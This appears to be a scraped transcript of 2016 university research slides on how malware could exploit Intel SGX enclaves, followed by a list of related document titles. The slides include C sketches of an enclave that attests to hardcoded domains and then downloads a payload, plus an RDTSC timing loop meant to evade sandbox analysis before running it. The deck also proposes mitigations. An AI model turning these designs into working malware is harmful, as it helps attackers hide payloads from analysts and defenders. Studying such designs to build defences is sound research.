The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside...

19
The Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016

Transcript of The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside...

Page 1: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

The Design of Malware on Modern Hardware

Malware inside Intel SGX enclaves

Jeroen van Prooijen

University of Amsterdam

29th June 2016

Page 2: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Introduction

2/18

Page 3: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

What is Intel SGX?

● Intel Software Guard Extension (SGX)● A vault (enclave) to run sensitive parts of code in.● No other process can access that memory (also no ring 0)

3

https://software.intel.com/en-us/sgx

/18

https://software.intel.com/en-us/sgx
https://software.intel.com/en-us/sgx
Page 4: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Implementation

● Extension on instruction set● Hardware based separation

○ Memory separation (PRM)○ Code decrypted in CPU cache

● Offers:○ Confidentiality○ Integrity

4

Frank McKeen (Intel), Intel Software Guard Extensions, Stanford Seminarhttps://youtu.be/mPT_vJrlHlg

/18

https://youtu.be/mPT_vJrlHlg
https://youtu.be/mPT_vJrlHlg
Page 5: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Implementation (Attestation)

I. Anati, S. Gueron, S. P. Johnson and V. R. Scarlata, "Innovative Instructions for Attestation and Sealing," 2013. (Intel, page 4). [Online]. Available: https://software.intel.com/en-us/articles/innovative-technology-for-cpu-based-attestation-and-sealing

5/18

https://software.intel.com/en-us/articles/innovative-technology-for-cpu-based-attestation-and-sealing
Page 6: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Developing SGX programs

1. Create enclave project2. Define Enclave Definition Language (EDL) file3. Import it in an existing project4. Sign the application → generates SIGSTRUCT with MRENCLAVE

6/18

Page 7: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Use Case

Hadoop MapReduce operations (VC3)

7

F. Schuster, M. Costa, C. Fournet, C. Gkantsidis, M. Peinado, G. Mainar-Ruiz and M. Russinovich, ‘Vc3: trustworthy data analytics in the cloud using sgx’, in 2015 IEEE Symposium on Security and Privacy, May 2015, pp. 38–54. doi: 10.1109/SP.2015.10.

/18

Page 8: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Research

8/18

Page 9: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Question

● What would happen if malware uses SGX?○ How could malware benefit?○ What adjustments in malware design need to be made?○ Is malware analysis still possible?

9/18

Page 10: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Malware interest

1. Attestation2. Stalling code

10/18

Page 11: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Attestation

1. Enclave does remote attestation with a third party, and verified by Intel2. Set up encrypted communication channel to receive payload or commands

11

1 [Sok: P2PWNED - Modeling and Evaluating the Resilience of Peer-to-Peer Botnets C Rossow, D Andriesse, T Werner, B Stone-Gross, D Plohmann, et al. Proceedings of the 34th IEEE Symposium on Security and Privacy (S&P'13), 97-111]

Bootstrapper with downloader

Receive basic program in enclave

Receive targeted payload in enclave

encrypted

/18

● Taking over the botnet would not succeed1

● Only need an enclave, and a small bootstrapper with downloader.

https://scholar.google.nl/citations?view_op=view_citation&hl=en&user=hU4QoMUAAAAJ&citation_for_view=hU4QoMUAAAAJ:u5HHmVD_uO8C
Page 12: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Attestation (continued)

● Domains could be put in at compile time disabling hash signature approach● Think of peer-to-peer structure

12

int main(int argc, char **argv){ tcs_t *tcs = prepare_enclave(argc, argv); void (*aep)() = exception_handler;

enter_enclave(tcs, aep, argc, argv);

return 0;}

void enclave_main(){ int challenger_port, ret; char *ff_domain = “20ajf412.biz”; char *ff_payload = “49fhsb24.biz”; challenger_port = 8025; ret = sgx_remote_attest_target(ff_domain, challenger_port, QUOTE_PORT); if(ret == 1) { puts("Remote Attestation Success!"); get_payload(ff_payload, 443); } else { puts("Remote Attestation Fail!"); } sgx_exit(NULL);}

void enclave_main(){ int challenger_port, ret; unsigned char key[32]; char *ff_domain = “20ajf412.biz”; char *ff_payload = “49fhsb24.biz”; challenger_port = 8025; ret = sgx_remote_attest_target(ff_domain, challenger_port, QUOTE_PORT); if(ret == 1) { puts("Remote Attestation Success!"); get_payload(ff_payload_decrypt_key, &key); } else { puts("Remote Attestation Fail!"); } sgx_exit(NULL);}

/18

Page 13: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Stalling code

● sleep(1) will cause a system call● Wrap and verify execution with RDTSC● Time Stamp Counter (TSC)

13

static inline uint64_t get_cycles_x64(){ uint64_t lo, hi; __asm volatile ("rdtsc" : "=a"(lo) , "=d"(hi)); return (hi<<32)|lo;}

void enclave_main(){ uint64_t c1, c2, diff; float div, time; int count=0; for (int i=0; i<600; i++){

c1 = get_cycles_x64();sleep(1);c2 = get_cycles_x64();diff = c2-c1;if (diff > 500 000 000){ count++;} else { sgx_exit(NULL);}

} if (count == 600)

execute_payload();}

int main(int argc, char **argv){ tcs_t *tcs = prepare_enclave(argc, argv); void (*aep)() = exception_handler;

enter_enclave(tcs, aep, argc, argv);

return 0;}

/18

Page 14: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Stalling code (continued)

14/18

Page 15: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Conclusion

15/18

Page 16: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Mitigation

● Shifting more to system call heuristics2

Future

● A new service that checks and signs enclave binaries● Place listeners on SGX related instructions● Cooperation with Intel

16

2 [C. Kolbitsch, E. Kirda, and C. Kruegel. 2011. The power of procrastination: detection and mitigation of execution-stalling malicious code. In Proceedings of the 18th ACM conference on Computer and communications security (CCS '11). ACM, New York, NY, USA, 285-296.] /18

Page 17: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Mitigation (continued)

17

“Intel will only grant the service provider access to the results if the SPID in the quote matches the service provider’s SPID registered with TLS certificate.”

“The service provider then has access to twomain interfaces:

GetSigRL[GID] – Returns the up to date Signature Revocation List for the identified EPID group (GID).

VerifyQuote[QUOTE] – returns an indication of the successful nature of signature verification”

S. P. Johnson, V. R. Scarlata, C. Rozas, E. Brickell and F. McKeen , "EPID Provisioning and Attestation Services" 2016. (Intel, page 8). [Online]. Available: https://software.intel.com/en-us/blogs/2016/03/09/intel-sgx-epid-provisioning-and-attestation-services

/18

https://software.intel.com/en-us/blogs/2016/03/09/intel-sgx-epid-provisioning-and-attestation-services
Page 18: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Conclusion

● System calls remain visible○ Enclave is in same ring as application

● Static code analysis after attestation is not possible

18

https://en.wikipedia.org/wiki/Protection_ring

/18

https://en.wikipedia.org/wiki/Protection_ring
https://en.wikipedia.org/wiki/Protection_ring
Page 19: The Design of Malware on Modern HardwareThe Design of Malware on Modern Hardware Malware inside Intel SGX enclaves Jeroen van Prooijen University of Amsterdam 29th June 2016 What is

Thanks

Kaveh Razavi

Marc X. Makkes

Cristiano Giuffrida

Victor van der Veen

Dennis Andriesse

Radhesh Krishnan K

VU - The Systems and Network Security Group


Malware and the Modern Threat Landscape

Malware and the Modern Threat Landscape

Chapter 8 Malware - FTMS · – Boot virus – Logic Bomb virus – Directory virus – Resident virus. CSCA0101 Computing Basics 8 Malware Types of Malware ... Malware Types of Malware

Chapter 8 Malware - FTMS · – Boot virus – Logic Bomb virus – Directory virus – Resident virus. CSCA0101 Computing Basics 8 Malware Types of Malware ... Malware Types of Malware

Preventing “Internal Threats in the modern world · 2018. 2. 3. · Preventing “Internal Threats” in the modern world Security Simplified . 2 ... Viruses Spam Hackers Malware

Preventing “Internal Threats in the modern world · 2018. 2. 3. · Preventing “Internal Threats” in the modern world Security Simplified . 2 ... Viruses Spam Hackers Malware

Modern Malware For Dummies - Innovative Technologies · 2012. 1. 3. · Modern Malware For Dummies ... tures of the next-generation firewall and lay out a practical meth-odology to

Modern Malware For Dummies - Innovative Technologies · 2012. 1. 3. · Modern Malware For Dummies ... tures of the next-generation firewall and lay out a practical meth-odology to

The modern-malware-review-march-2013

The modern-malware-review-march-2013

The Modern Malware Review March 2013

The Modern Malware Review March 2013

Schlumberger-Public MODERN MALWARE, MODERN DEFENSES AND PROTECTION Mario Chiock, CISSP, CISM, CISA chiock@slb.com.

Schlumberger-Public MODERN MALWARE, MODERN DEFENSES AND PROTECTION Mario Chiock, CISSP, CISM, CISA [email protected].

Technical security at 1&1 - Ruhr University Bochum · Poly- and metamorphic malware and the obfuscation curse 16 18.01.2018 Most modern malware is polymorphic and uses anti-analysis

Technical security at 1&1 - Ruhr University Bochum · Poly- and metamorphic malware and the obfuscation curse 16 18.01.2018 Most modern malware is polymorphic and uses anti-analysis

Situational Awareness, Botnet and Malware Detection in the Modern Era - Davide Papini - Codemotion Milan 2016

Situational Awareness, Botnet and Malware Detection in the Modern Era - Davide Papini - Codemotion Milan 2016

Modern Malware For Dummies - index-of.co.ukindex-of.co.uk/Malware/MM for Dummies Unlimited Download...Modern Malware FOR DUMmIES ‰ by Lawrence C. Miller, CISSP These materials are

Modern Malware For Dummies - index-of.co.ukindex-of.co.uk/Malware/MM for Dummies Unlimited Download...Modern Malware FOR DUMmIES ‰ by Lawrence C. Miller, CISSP These materials are

Malware Analysis and Antivirus Technologies: Kernel Malware & A Look at Malware … · 2011-08-16 · Malware Analysis and Antivirus Technologies: Kernel Malware & A Look at Malware

Malware Analysis and Antivirus Technologies: Kernel Malware & A Look at Malware … · 2011-08-16 · Malware Analysis and Antivirus Technologies: Kernel Malware & A Look at Malware

Modern attacks and malware · Cisco Advanced Malware Protection (AMP) Cisco Web Security Combats Evolving Threats Identify a breach faster by tracking a file’s disposition over

Modern attacks and malware · Cisco Advanced Malware Protection (AMP) Cisco Web Security Combats Evolving Threats Identify a breach faster by tracking a file’s disposition over

Smartcard vulnerabilities in modern banking malware

Smartcard vulnerabilities in modern banking malware

Controlling Modern Malware - Palo Alto Networks · Controlling Modern Malware Introducing WildFire: the Next-Generation of Malware Defense ... send them to WildFire for analysis.

Controlling Modern Malware - Palo Alto Networks · Controlling Modern Malware Introducing WildFire: the Next-Generation of Malware Defense ... send them to WildFire for analysis.

Malware & Anti-Malware

Malware & Anti-Malware

The Modern Malware Review - Palo Alto Networks · THE MODERN MALWARE REVIEW | MARCH 2013 PAGE 2 TABLE OF CONTENTS Background and Goals 3 A Focus on Actionable Research 3 Separating

The Modern Malware Review - Palo Alto Networks · THE MODERN MALWARE REVIEW | MARCH 2013 PAGE 2 TABLE OF CONTENTS Background and Goals 3 A Focus on Actionable Research 3 Separating

Modern Malware, Modern Defenses and Protection · Schlumberger-Public MODERN MALWARE, MODERN DEFENSES AND PROTECTION Mario Chiock, CISSP, CISM, CISA chiock@slb.com

Modern Malware, Modern Defenses and Protection · Schlumberger-Public MODERN MALWARE, MODERN DEFENSES AND PROTECTION Mario Chiock, CISSP, CISM, CISA [email protected]

Next Generation FWs Against Modern Malware and Threads Hakan Unsal – Technical Security Consultant Tunc Cokkeser – Regional Sales Manager.

Next Generation FWs Against Modern Malware and Threads Hakan Unsal – Technical Security Consultant Tunc Cokkeser – Regional Sales Manager.

Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

Modern Malware, Modern Defenses and Protection - … · Schlumberger-Public MODERN MALWARE, MODERN DEFENSES AND PROTECTION Mario Chiock, CISSP, CISM, CISA chiock@slb.com

Modern Malware, Modern Defenses and Protection - … · Schlumberger-Public MODERN MALWARE, MODERN DEFENSES AND PROTECTION Mario Chiock, CISSP, CISM, CISA [email protected]